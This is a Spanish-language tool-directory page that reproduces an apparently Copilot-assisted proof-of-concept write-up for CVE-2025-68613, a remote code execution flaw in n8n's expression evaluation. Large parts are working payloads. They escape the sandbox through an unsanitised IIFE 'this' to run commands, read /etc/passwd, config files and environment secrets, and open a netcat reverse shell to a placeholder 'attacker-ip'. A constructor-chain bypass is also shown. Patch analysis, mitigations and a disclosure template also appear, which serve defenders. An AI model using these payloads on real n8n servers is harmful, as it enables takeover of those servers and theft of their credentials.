Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-68613-poc-via-copilot — Análisis asistido por GitHub Copilot de la vulnerabilidad CVE-2025-68613 | Kitploit
Herramientas/GitHubGitHub/intbjw/cve-2025-68613-poc-via-copilot
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebPapers e InvestigaciónAprendizaje y Educación
GitHubintbjw/cve-2025-68613-poc-via-copilot

CVE-2025-68613-poc-via-copilot

Análisis asistido por GitHub Copilot de la vulnerabilidad CVE-2025-68613

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio
hace 8 mesesAún no revisado

✅ CVE-2025-68613 Análisis completo de la vulnerabilidad de inyección de expresiones RCE en n8n

Fecha: 23 de diciembre de 2024 Estado: ✅ RCE verificado completamente Puntuación CVSS: 10.0 (Crítico)


🎉 Payload RCE exitoso

root@kitploit:~
{
	{
		(function () {
			var require = this.process.mainModule.require;
			var {execSync} = require('child_process');
			return execSync('id', {encoding: 'utf8'}).trim();
		})()
	}
}

Resultado de ejecución: Devuelve correctamente la información del usuario del sistema (p. ej., uid=1000(n8n) gid=1000(n8n) groups=1000(n8n))


🔍 Análisis en profundidad del principio de la vulnerabilidad

Vulnerabilidad principal: el contexto this de la función inmediata (IIFE) no está sanitizado

1. Flujo de evaluación de la expresión

root@kitploit:~
Entrada del usuario
  ↓
{{ (function() { ... })() }}
  ↓
Expression.resolveSimpleParameterValue()
  ↓
Creación del objeto de contexto data
  ↓
data.process = referencia al objeto process real
  ↓
Tournament.execute(expression, data)
  ↓
FunctionEvaluator.evaluate()
  ↓
fn.call(data, errorHandler)  ← ⚠️ Clave: this = data
  ↓
Ejecución de la función inmediata
  ↓
this.process.mainModule.require ← ⚠️ Accede al require real
  ↓
Carga del módulo child_process
  ↓
execSync('id') ← 🔥 RCE completo

2. Ubicaciones clave del código

Ubicación 1: Creación del contexto de datos

Archivo: packages/workflow/src/expression.ts Función: Expression.resolveSimpleParameterValue() Líneas: Aproximadamente 230-290

root@kitploit:~
// Genera un proxy de datos
const dataProxy = new WorkflowDataProxy(
	this.workflow,
	runExecutionData,
	runIndex,
	itemIndex,
	activeNodeName,
	connectionInputData,
	siblingParameters,
	mode,
	additionalKeys,
	executeData,
	-1,
	selfData,
	contextNodeName,
);
const data = dataProxy.getDataProxy();

// ⚠️ Punto vulnerable 1: Añadir objeto process a data
data.process =
	typeof process !== 'undefined'
		? {
			arch: process.arch,
			env: process.env.N8N_BLOCK_ENV_ACCESS_IN_NODE === 'true' ? {} : process.env,
			platform: process.platform,
			pid: process.pid,
			ppid: process.ppid,
			release: process.release,
			version: process.pid,
			versions: process.versions,
		}
		: {};

// ⚠️ Problema: aunque solo se exponen algunas propiedades, se pasa una referencia al objeto
// El objeto process real aún es accesible a través de la cadena de prototipos u otros medios
Ubicación 2: Evaluación de Tournament

Archivo: node_modules/@n8n/tournament/src/FunctionEvaluator.ts

root@kitploit:~
evaluate(expr
:
string, data
:
unknown
):
ReturnValue
{
	const fn = this.getFunction(expr);
	// ⚠️ Punto vulnerable 2: data se pasa como this
	return fn.call(data, this.instance.errorHandler);
}

private
getFunction(expr
:
string
):
Function
{
	if (expr in this._codeCache) {
		return this._codeCache[expr];
	}
	const [code] = this.instance.getExpressionCode(expr);
	// ⚠️ Punto vulnerable 3: se crea la función con new Function
	const func = new Function('E', code + ';');
	this._codeCache[expr] = func;
	return func;
}
Ubicación 3: Sanitización de this ausente

Archivo: packages/workflow/src/expression-sandboxing.ts

Antes de v1.122.0:

root@kitploit:~
// ❌ Sin FunctionThisSanitizer
const tournamentEvaluator = new Tournament(errorHandler, undefined, undefined, {
	before: [],  // ← Array vacío, sin sanitización de this
	after: [PrototypeSanitizer, DollarSignValidator],
});

Después de v1.122.0:

root@kitploit:~
// ✅ Se añadió FunctionThisSanitizer
const tournamentEvaluator = new Tournament(errorHandler, undefined, undefined, {
	before: [FunctionThisSanitizer],  // ← Hook añadido
	after: [PrototypeSanitizer, DollarSignValidator],
});

// Implementación de FunctionThisSanitizer
export const FunctionThisSanitizer: ASTBeforeHook = (ast, dataNode) => {
	astVisit(ast, {
		visitFunction(path) {
			// Reescribe todas las expresiones de función, vinculando this a un objeto seguro
			const safeThis = b.objectExpression([
				b.property('init', b.identifier('process'), b.objectExpression([]))
			]);
			// Convierte function() { ... } en function() { ... }.bind({ process: {} })
		}
	});
};
Ubicación 4: Lista negra de propiedades incompleta

Archivo: packages/workflow/src/utils.ts Función: isSafeObjectProperty()

Antes de v1.122.0:

root@kitploit:~
const unsafeObjectProperties = new Set([
	'__proto__',
	'prototype',
	'constructor',
	'getPrototypeOf'
]);
// ❌ Faltan mainModule, binding, _load

Después de v1.122.0:

root@kitploit:~
const unsafeObjectProperties = new Set([
	'__proto__',
	'prototype',
	'constructor',
	'getPrototypeOf',
	'mainModule',    // ✅ Añadido
	'binding',       // ✅ Añadido
	'_load'          // ✅ Añadido
]);

💣 Técnicas de explotación completas

1. RCE básico

root@kitploit:~
{
	{
		(function () {
			var require = this.process.mainModule.require;
			var {execSync} = require('child_process');
			return execSync('id', {encoding: 'utf8'}).trim();
		})()
	}
}

2. Ejecutar comandos arbitrarios

root@kitploit:~
{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('whoami', {encoding: 'utf8'}).trim();
		})()
	}
}

{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('pwd', {encoding: 'utf8'}).trim();
		})()
	}
}

{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('uname -a', {encoding: 'utf8'}).trim();
		})()
	}
}

{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('ls -la /', {encoding: 'utf8'});
		})()
	}
}

3. Acceso al sistema de archivos

root@kitploit:~
// Leer archivos sensibles
{
	{
		(function () {
			var fs = this.process.mainModule.require('fs');
			return fs.readFileSync('/etc/passwd', 'utf8');
		})()
	}
}

// Listar directorios
{
	{
		(function () {
			var fs = this.process.mainModule.require('fs');
			return fs.readdirSync('/').join('\n');
		})()
	}
}

// Leer configuración de n8n
{
	{
		(function () {
			var fs = this.process.mainModule.require('fs');
			return fs.readFileSync('./.n8n/config', 'utf8');
		})()
	}
}

// Listar directorio actual
{
	{
		(function () {
			var fs = this.process.mainModule.require('fs');
			return fs.readdirSync('.').join('\n');
		})()
	}
}

4. Fuga completa de variables de entorno (combinando hallazgos anteriores)

root@kitploit:~
// Acceso directo a través de this.process
{
	{
		(function () {
			return JSON.stringify(this.process.env);
		})()
	}
}

// O usando la forma conocida disponible
{
	{
		JSON.stringify(process.env)
	}
}

5. Acceso a red (preparación para reverse shell)

root@kitploit:~
// Verificar herramientas de red
{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('which nc', {encoding: 'utf8'}).trim();
		})()
	}
}

// Obtener interfaces de red
{
	{
		(function () {
			var os = this.process.mainModule.require('os');
			return JSON.stringify(os.networkInterfaces());
		})()
	}
}

// Reverse Shell (⚠️ ¡Peligroso! Solo para pruebas autorizadas)
{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('nc -e /bin/sh attacker-ip 4444', {encoding: 'utf8'});
		})()
	}
}

📊 Resumen de resultados de verificación de vulnerabilidad

✅ Vectores de ataque explotables confirmados

❌ Ataques bloqueados (en tu prueba)

#Tipo de ataqueRazón
1require directoNo disponible en nuevo ámbito
2process en constructor de Functionthis sanitizado en algunos contextos
3process.binding / process._load

🎯 Sinergia de tres vulnerabilidades clave

Vulnerabilidad 1: Variables de entorno no protegidas

root@kitploit:~
{
	{
		Object.keys(process.env)
	}
}  // ✅ Éxito
  • N8N_BLOCK_ENV_ACCESS_IN_NODE no está establecido como true
  • Todas las variables de entorno son legibles

Vulnerabilidad 2: Bypass de acceso al constructor

root@kitploit:~
{
	{
		[][`constructor`][`constructor`]
	}
}  // ✅ Éxito
  • Las cadenas de plantilla con backticks evitan la verificación del AST
  • Se puede crear el constructor Function

Vulnerabilidad 3: this de IIFE no sanitizado

root@kitploit:~
{
	{
		(function () {
			return this.process.mainModule.require;
		})()
	}
}  // ✅ Éxito
  • this dentro de la función inmediata sigue apuntando al contexto de datos original
  • this.process.mainModule.require es accesible

La combinación de los tres = RCE completo


🛡️ Medidas de corrección en v1.122.0

Corrección 1: Hook FunctionThisSanitizer

root@kitploit:~
// Nuevo AST before hook
export const FunctionThisSanitizer: ASTBeforeHook = (ast, dataNode) => {
	// Recorre todas las expresiones de función
	// Reescribe la función, forzando la vinculación de this a { process: {} }
	// De esta manera, incluso en IIFE, this es un objeto vacío seguro
};

Corrección 2: Ampliación de la lista negra de propiedades inseguras

root@kitploit:~
const unsafeObjectProperties = new Set([
	'__proto__',
	'prototype',
	'constructor',
	'getPrototypeOf',
	'mainModule',    // ← Añadido
	'binding',       // ← Añadido
	'_load'          // ← Añadido
]);

Corrección 3: Protección de variables de entorno activada por defecto (suposición)

root@kitploit:~
// Posiblemente se cambió el valor predeterminado a true
data.process = {
	env: process.env.N8N_BLOCK_ENV_ACCESS_IN_NODE !== 'false' ? {} : process.env,
	// ...
};

📈 Evaluación del impacto

Puntuación CVSS v3.1: 10.0 (Crítico)

Vector string: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Puntuación base: 10.0 (Máxima)

Impacto real

¿Qué puede hacer un atacante?

  1. ✅ Leer todas las variables de entorno (contraseñas de bases de datos, claves API, etc.)
  2. ✅ Ejecutar comandos arbitrarios del sistema
  3. ✅ Leer/escribir en el sistema de archivos
  4. ✅ Acceder a bases de datos
  5. ✅ Moverse lateralmente a otros sistemas
  6. ✅ Establecer una puerta trasera persistente
  7. ✅ Robar todos los flujos de trabajo y credenciales
  8. ✅ Tomar el control total de la instancia de n8n

Implementaciones afectadas:

  • Todas las instancias de n8n < v1.122.0
  • Instancias sin N8N_BLOCK_ENV_ACCESS_IN_NODE=true
  • Instancias que permiten a usuarios no administradores crear flujos de trabajo

🚨 Recomendaciones urgentes de corrección

Acción inmediata (Administradores)

1. Establecer protección de variables de entorno (1 minuto)

root@kitploit:~
# Método 1: Exportar variable de entorno
export N8N_BLOCK_ENV_ACCESS_IN_NODE=true

# Método 2: En archivo .env
echo "N8N_BLOCK_ENV_ACCESS_IN_NODE=true" >> .env

# Método 3: Docker Compose
environment:
  - N8N_BLOCK_ENV_ACCESS_IN_NODE=true

2. Actualizar a la última versión (5-10 minutos)

root@kitploit:~
# npm
npm install -g n8n@latest

# Docker
docker pull docker.n8n.io/n8nio/n8n:latest
docker-compose down
docker-compose up -d

# Verificar versión
n8n --version  # Debe ser >= 1.122.0

3. Revisar flujos de trabajo existentes (1 hora)

root@kitploit:~
-- Si se usa PostgreSQL
SELECT name, nodes
FROM workflows
WHERE nodes::text LIKE '%process%'
   OR nodes::text LIKE '%constructor%'
   OR nodes::text LIKE '%mainModule%'
   OR nodes::text LIKE '%require%';

4. Restringir permisos (30 minutos)

  • Deshabilitar permisos de edición de flujos de trabajo para usuarios no administradores
  • Implementar un proceso de aprobación de flujos de trabajo
  • Habilitar registros de auditoría

5. Aislar la implementación (continuo)

root@kitploit:~
# docker-compose.yml
services:
	n8n:
		image: docker.n8n.io/n8nio/n8n:latest
		read_only: true
		security_opt:
			- no-new-privileges:true
			- seccomp=seccomp-profile.json
		cap_drop:
			- ALL
		cap_add:
			- CHOWN
			- SETGID
			- SETUID
		environment:
			- N8N_BLOCK_ENV_ACCESS_IN_NODE=true

📝 Divulgación responsable

Recomendaciones de divulgación

Contactar al equipo de seguridad de n8n

root@kitploit:~
Para: [email protected]
Asunto: [CRÍTICO] Vulnerabilidad RCE 0-day - Bypass de contexto this en IIFE

Gravedad: CVSS 10.0 (Crítico)
Versiones afectadas: n8n < 1.122.0

Resumen:
Se descubrió una vulnerabilidad RCE grave que permite a usuarios autenticados
acceder a process.mainModule.require a través de funciones inmediatas (IIFE),
lo que permite la ejecución de comandos arbitrarios del sistema.

PoC verificado:
{{ (function() {
    var require = this.process.mainModule.require;
    var { execSync } = require('child_process');
    return execSync('id', { encoding: 'utf8' }).trim();
})() }}

Causa raíz:
1. this en IIFE no está sanitizado
2. process.mainModule no está prohibido
3. N8N_BLOCK_ENV_ACCESS_IN_NODE tiene valor predeterminado false

Corrección sugerida:
1. Implementar hook FunctionThisSanitizer
2. Añadir mainModule, binding, _load a la lista negra
3. Activar la protección de variables de entorno por defecto

El análisis detallado se adjunta.

Cronología de divulgación

  1. T+0 (hoy): Notificar privadamente al equipo de seguridad de n8n
  2. T+7 días: Confirmación de seguimiento
  3. T+30 días: Si hay parche, ayudar en la verificación
  4. T+90 días: Divulgación pública (si está corregido)

🏆 Resumen del hallazgo

Tu gran contribución:

  1. ✅ Descubriste y verificaste la vulnerabilidad RCE completa
  2. ✅ Identificaste la técnica de bypass mediante cadenas de plantilla con backticks
  3. ✅ Confirmaste la vulnerabilidad del contexto this en IIFE
  4. ✅ Proporcionaste un PoC funcional
  5. ✅ Completaste un análisis técnico detallado

Valor de la vulnerabilidad:

  • Valor técnico: Muy alto (CVSS 10.0)
  • Alcance del impacto: Amplio (todas las instancias anteriores a v1.122.0)
  • Dificultad de explotación: Baja (solo se necesita una expresión)
  • Costo de corrección: Medio (requiere modificación de código y actualización de versión)

Fecha de creación: 23 de diciembre de 2024 Estado de la vulnerabilidad: ✅ Verificada completamente Puntuación CVSS: 10.0 (Crítico) Recomendación: Divulgar y corregir de inmediato

🎉 ¡Felicidades por descubrir una vulnerabilidad RCE con puntuación perfecta! ¡Manéjala y divúlgala de manera responsable! 🔒

Descargar herramienta
#Tipo de ataquePayloadEstadoCVSS
1Fuga de variables de entorno{{ Object.keys(process.env) }}✅ Éxito8.5
2Bypass de Constructor{{ [][constructor] }}✅ Éxito8.0
3Constructor de Function{{ [][constructor][constructor] }}✅ Éxito8.5
4Ejecución de código{{ [][constructor][constructor]('return 1+1')() }}✅ Éxito9.0
5RCE completo{{ (function() { this.process.mainModule.require... })() }}✅ Éxito10.0
Posiblemente bloqueado o restringido
MétricaValorDescripción
Vector de ataque (AV)Red (N)Explotable remotamente
Complejidad de ataque (AC)Baja (L)Explotación sencilla
Privilegios requeridos (PR)Bajos (L)Solo requiere usuario autenticado
Interacción del usuario (UI)Ninguna (N)Sin interacción del usuario
Alcance (S)Cambiado (C)Afecta al sistema subyacente
Confidencialidad (C)Alta (H)Divulgación completa de información
Integridad (I)Alta (H)Control completo del sistema
Disponibilidad (A)Alta (H)Interrupción completa del servicio